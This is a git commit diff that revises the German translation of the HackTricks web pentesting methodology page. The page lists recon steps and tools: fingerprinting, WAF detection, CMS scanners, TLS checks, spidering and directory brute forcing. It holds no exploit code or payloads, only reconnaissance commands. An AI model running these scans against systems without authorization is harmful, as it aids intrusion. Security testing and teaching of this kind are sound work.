Translated ['src/pentesting-web/command-injection.md', 'src/network-serv

2025-10-10 18:36:50 +00:00 · 2025-08-28 14:23:37 +00:00 · 2025-08-28 14:23:37 +00:00 · 9792c72b96
commit 9792c72b96
parent dd685cf617
5 changed files with 304 additions and 185 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -432,6 +432,7 @@
  - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
  - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
  - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
+  - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
  - [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
  - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
  - [Joomla](network-services-pentesting/pentesting-web/joomla.md)
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@ -1,12 +1,12 @@
-# 80,443 - Pentesting Web Methodology
+# 80,443 - Pentesting Web Methodik

 {{#include ../../banners/hacktricks-training.md}}

 ## Grundlegende Informationen

-Der Webdienst ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.
+Der Web-Service ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**.

-**Standardport:** 80 (HTTP), 443(HTTPS)
+**Standardport:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@ -17,47 +17,47 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Anleitung
+### Web-API-Leitfaden


 {{#ref}}
 web-api-pentesting.md
 {{#endref}}

-## Methodologie Zusammenfassung
+## Methodologie-Übersicht

-> In dieser Methodologie nehmen wir an, dass Sie eine Domain (oder Subdomain) angreifen werden und nur diese. Daher sollten Sie diese Methodologie auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Geltungsbereich anwenden.
+> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen. Wenden Sie diese Methodik also auf jede entdeckte Domain, Subdomain oder IP mit einem innerhalb des Scopes nicht näher bestimmten Webserver an.

- [ ] Beginnen Sie mit der **Identifizierung** der **Technologien**, die vom Webserver verwendet werden. Achten Sie auf **Tricks**, die Sie während des restlichen Tests im Hinterkopf behalten sollten, wenn Sie die Technologie erfolgreich identifizieren können.
- [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
- [ ] Verwenden Sie eine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
- [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen sollten (wie wpscan)?
- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
- [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
- [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
- [ ] **Backups überprüfen**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
- [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
- [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
- [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Beginnen Sie damit, die vom Webserver verwendeten **Technologien** zu **identifizieren**. Suchen Sie nach **Tricks**, die Sie während des weiteren Tests beachten sollten, falls Sie die Tech erfolgreich identifizieren können.
+- [ ] Gibt es **bekannte Schwachstellen** in der **Version** der Technologie?
+- [ ] Nutzt die Anwendung irgendeine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
+- [ ] Gibt es einen **spezialisierten Scanner** zum Ausführen (z. B. wpscan)?
+- [ ] Starten Sie **Scanner für allgemeine Zwecke**. Man weiß nie, ob sie etwas finden oder interessante Informationen liefern.
+- [ ] Beginnen Sie mit den **Initialprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS scan** (bei HTTPS).
+- [ ] Starten Sie mit dem **spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Prüfen Sie auch auf **besondere Funde**.
+- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es spidered werden sollte._
+- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner mittels brute force zu durchsuchen, um neue **Dateien** und **Verzeichnisse** zu finden.
+- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es Brute-Forced werden sollte._
+- [ ] **Backups checking**: Prüfen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
+- [ ] **Brute-Force parameters**: Versuchen Sie, **versteckte Parameter** zu finden.
+- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie alle Arten von damit zusammenhängenden **Schwachstellen**.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)

-## Serverversion (anfällig?)
+## Server-Version (verwundbar?)

 ### Identifizieren

-Überprüfen Sie, ob es **bekannte Schwachstellen** für die **Version** des Servers gibt, die ausgeführt wird.\
-Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu **identifizieren**, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
+Prüfen Sie, ob es **bekannte Schwachstellen** für die aktuell laufende Server-**Version** gibt.\
+Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die **Technologien** und/oder die verwendete **Version** zu **identifizieren**. Ein **Nmap-Scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-hacking/search-exploits.md)
+Suche **nach** [**Schwachstellen der Webanwendungs-Version**](../../generic-hacking/search-exploits.md)

-### **Überprüfen, ob ein WAF vorhanden ist**
+### **Prüfen, ob ein WAF vorhanden ist**

 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -65,7 +65,7 @@ Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-h

 ### Web-Technik-Tricks

-Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden:
+Einige **Tricks**, um **Schwachstellen zu finden** in verschiedenen bekannten **Technologien**, die verwendet werden:

 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@ -77,8 +77,9 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
 - [**Git**](git.md)
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
- [**H2 - Java SQL-Datenbank**](h2-java-sql-database.md)
- [**IIS-Tricks**](iis-internet-information-services.md)
+- [**H2 - Java SQL database**](h2-java-sql-database.md)
+- [**ISPConfig**](ispconfig.md)
+- [**IIS tricks**](iis-internet-information-services.md)
 - [**Microsoft SharePoint**](microsoft-sharepoint.md)
 - [**JBOSS**](jboss.md)
 - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
@ -88,7 +89,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
+- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
@ -98,22 +99,21 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS zu RCE)**](electron-desktop-apps/index.html)
+- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)

-_Beachte, dass die **gleiche Domain** **verschiedene Technologien** in verschiedenen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
-Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben** oder **eine andere** verwendet, vergiss nicht, **im Internet nach neuen Tricks zu suchen** (und lass es mich wissen!).
+_Beachte, dass dieselbe **Domain** verschiedene **Technologien** in unterschiedlichen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\
+Wenn die Webanwendung eine der oben genannten bekannten **Technologien/Plattformen** oder eine **andere** verwendet, vergiss nicht, im Internet nach neuen Tricks zu suchen (und sag mir Bescheid!).

 ### Quellcode-Überprüfung

-Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung **einige Informationen**, die für das aktuelle **Black-Box-Testing** **nützlich** sein könnten:
-
- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder irgendetwas mit **Versionsinformationen, das über das Web zugänglich ist**?
- Wie und wo werden die **Anmeldeinformationen** gespeichert? Gibt es eine (zugängliche?) **Datei** mit Anmeldeinformationen (Benutzernamen oder Passwörtern)?
- Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
- Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
- Kannst du **auf eine dieser Dateien zugreifen**, indem du eine Schwachstelle ausnutzt?
- Gibt es **interessante Informationen in den github** (gelöste und ungelöste) **Issues**? Oder in der **Commit-Historie** (vielleicht ein **Passwort, das in einem alten Commit eingeführt wurde**)?
+Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben einem eigenen **White box test** der Anwendung einige Informationen, die für das aktuelle **Black-Box testing** nützlich sein könnten:

+- Existiert eine **Change-log**, **Readme** oder **Version**-Datei oder irgendetwas mit **zugänglichen Versionsinformationen** über das Web?
+- Wie und wo werden die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (Benutzernamen oder Passwörtern)?
+- Sind **passwords** im **Plaintext**, **verschlüsselt** oder welcher **hashing algorithm** wird verwendet?
+- Wird ein **master key** zum Verschlüsseln verwendet? Welcher **algorithm** wird eingesetzt?
+- Kannst du durch Ausnutzung einer Schwachstelle auf **any of these files** zugreifen?
+- Gibt es interessante Informationen im **github** (gelöste und ungelöste) **issues**? Oder in der **commit history** (vielleicht wurde ein **password introduced inside an old commit**)?

 {{#ref}}
 code-review-tools.md
@ -135,12 +135,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS-Scanner

-Wenn ein CMS verwendet wird, vergessen Sie nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden:
+Wenn ein CMS verwendet wird, nicht vergessen, **einen Scanner laufen zu lassen**, vielleicht findet sich etwas Verwundbares:

 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin**-Websites auf Sicherheitsprobleme. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitslücken prüfen. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
@ -148,13 +148,13 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks, die Sie während des Tests im Hinterkopf behalten sollten. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt.
+> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (falls Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner laufen lassen.

-## Schritt-für-Schritt-Webanwendungsentdeckung
+## Schritt-für-Schritt Webanwendungs-Erkennung

-> Ab diesem Punkt werden wir beginnen, mit der Webanwendung zu interagieren.
+> Ab hier werden wir anfangen, mit der Webanwendung zu interagieren.

-### Erste Überprüfungen
+### Erste Prüfungen

 **Standardseiten mit interessanten Informationen:**

@ -163,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
- Überprüfen Sie auch Kommentare auf den Haupt- und Unterseiten.
+- Prüfe auch Kommentare auf Haupt- und Unterseiten.

 **Fehler erzwingen**

-Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen.
+Webserver können sich **unerwartet verhalten**, wenn seltsame Daten an sie gesendet werden. Das kann **Schwachstellen öffnen** oder **sensible Informationen preisgeben**.

- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu
- **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
- Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben
- Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
+- Greife auf **gefälschte Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu
+- **Füge "\[]", "]]", und "\[\["** in **Cookiewerte** und **Parameterwerte** ein, um Fehler zu erzeugen
+- Erzeuge einen Fehler, indem du als Input **`/~randomthing/%s`** am **Ende** der **URL** angibst
+- Probiere **verschiedene HTTP-Verben** wie PATCH, DEBUG oder falsche wie FAKE

-#### **Überprüfen Sie, ob Sie Dateien hochladen können (**[**PUT-Verb, WebDav**](put-method-webdav.md)**)**
+#### **Prüfe, ob du Dateien hochladen kannst (**[**PUT verb, WebDav**](put-method-webdav.md)**)**

-Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammverzeichnis verfügen, versuchen Sie:
+Wenn du feststellst, dass **WebDav** **aktiviert** ist, du aber nicht genügend Berechtigungen hast, um **Dateien hochzuladen** im Root-Ordner, versuche:

- **Brute Force**-Anmeldeinformationen
- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
+- **Brute Force** Zugangsdaten
+- **Lade Dateien hoch** via WebDav in die **restlichen** der **gefundenen Ordner** innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen.

 ### **SSL/TLS-Schwachstellen**

- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM**
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle.
+- Wenn die Anwendung **die Nutzung von HTTPS nicht erzwingt** in irgendeinem Bereich, dann ist sie **anfällig für MitM**
+- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann ist das eine schwerwiegende Schwachstelle.

-Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
+Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh), um auf **Schwachstellen** zu prüfen (in Bug Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@ -195,65 +195,65 @@ Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Informationen zu SSL/TLS-Sicherheitsanfälligkeiten:
+Information about SSL/TLS vulnerabilities:

 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)

 ### Spidering

-Starten Sie eine Art **Spider** im Web. Das Ziel des Spiders ist es, **so viele Pfade wie möglich** aus der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling und externe Quellen verwendet werden, um so viele gültige Pfade wie möglich zu finden.
+Starten Sie irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Applikation zu finden. Daher sollten Web-Crawling und externe Quellen genutzt werden, um so viele gültige Pfade wie möglich zu ermitteln.

- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML-Spider, LinkFinder in JS-Dateien und externen Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML-Spider, mit LinkFinder für JS-Dateien und Archive.org als externe Quelle.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML-Spider, zeigt auch "saftige Dateien" an.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML-Spider. Es sucht auch in Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Sie können einfach eine Datei mit Hosts und eine Datei mit Pfaden angeben, und meg wird jeden Pfad auf jedem Host abrufen und die Antwort speichern.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML-Spider mit JS-Rendering-Fähigkeiten. Es scheint jedoch, dass es nicht mehr gewartet wird, die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
- [**gau**](https://github.com/lc/gau) (go): HTML-Spider, der externe Anbieter (wayback, otx, commoncrawl) nutzt.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Skript findet URLs mit Parametern und listet sie auf.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML-Spider mit JS-Rendering-Fähigkeiten.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML-Spider, mit JS-Beautify-Fähigkeiten, die in JS-Dateien nach neuen Pfaden suchen können. Es könnte sich auch lohnen, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper von LinkFinder ist.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Um Endpunkte sowohl im HTML-Quellcode als auch in eingebetteten JavaScript-Dateien zu extrahieren. Nützlich für Bug-Jäger, Red-Teamer, Infosec-Ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7-Skript, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unwartet aus.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt eine Datei (HTML) an, aus der es URLs mit cleveren regulären Ausdrücken extrahiert, um die relativen URLs aus hässlichen (minifizierten) Dateien zu finden und zu extrahieren.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Interessante Informationen aus JS-Dateien mit mehreren Tools sammeln.
- [**subjs**](https://github.com/lc/subjs) (go): JS-Dateien finden.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zum Laden der Seite geladen wurden.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhaltserkennungstool, das mehrere Optionen der vorherigen Tools kombiniert.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL verwendet, um den beautifizierten JS-Code zu erhalten.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch Antworten im Wayback herunterladen und nach weiteren Links suchen).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS files und Archive.org als externe Quelle.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, zeigt außerdem "juicy files" an.
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML spider. Sucht ebenfalls in Archive.org.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst einfach eine Datei mit hosts und eine Datei mit paths angeben; meg holt dann jeden path auf jedem host und speichert die Response.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS rendering Fähigkeiten. Scheint allerdings unmaintained zu sein, die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider verwendet (wayback, otx, commoncrawl).
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parameter und listet sie auf.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS rendering Fähigkeiten.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS beautify Fähigkeiten, fähig, neue Pfade in JS files zu suchen. Es kann sich lohnen, auch [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper für LinkFinder ist.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests leicht zu entdecken. Sieht unmaintained aus.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt man eine Datei (HTML) an, extrahiert es URLs daraus unter Verwendung cleverer regulärer Ausdrücke, um relative URLs aus uglify/minify Dateien zu finden.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mithilfe verschiedener Tools.
+- [**subjs**](https://github.com/lc/subjs) (go): Findet JS files.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless browser und gibt alle URLs aus, die geladen werden, um die Seite darzustellen.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content-Discovery-Tool, das mehrere Optionen der vorherigen Tools kombiniert.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp extension, um Pfade und params in JS files zu finden.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das given the .js.map URL den beautified JS-Code liefert.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Tool zum Entdecken von Endpoints für ein gegebenes Ziel.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch das Herunterladen der Responses in der wayback und das Suchen nach weiteren Links).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (auch durch Ausfüllen von Formularen) und findet außerdem sensible Infos mittels spezifischer regexes.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener Multi-Feature GUI Web-Security Crawler/Spider für Cyber-Security-Professionals.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Source-Code.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **Parameter und Endpoints** aus Requests zu extrahieren und custom wordlist für Fuzzing und Enumeration zu erstellen.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden Link aus, den es finden kann.

-### Brute Force-Verzeichnisse und -Dateien
+### Brute Force directories and files

-Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
+Beginne mit dem **brute-forcing** ab dem Root-Ordner und stelle sicher, dass du **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse, die durch das **Spidering** entdeckt wurden, brute-forcest (du kannst dieses brute-forcing **rekursiv** durchführen und die Namen der gefundenen Verzeichnisse am Anfang der verwendeten wordlist einfügen).\
 Tools:

- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Es erlaubt keine automatisch signierten Zertifikate, aber** erlaubt rekursive Suche.
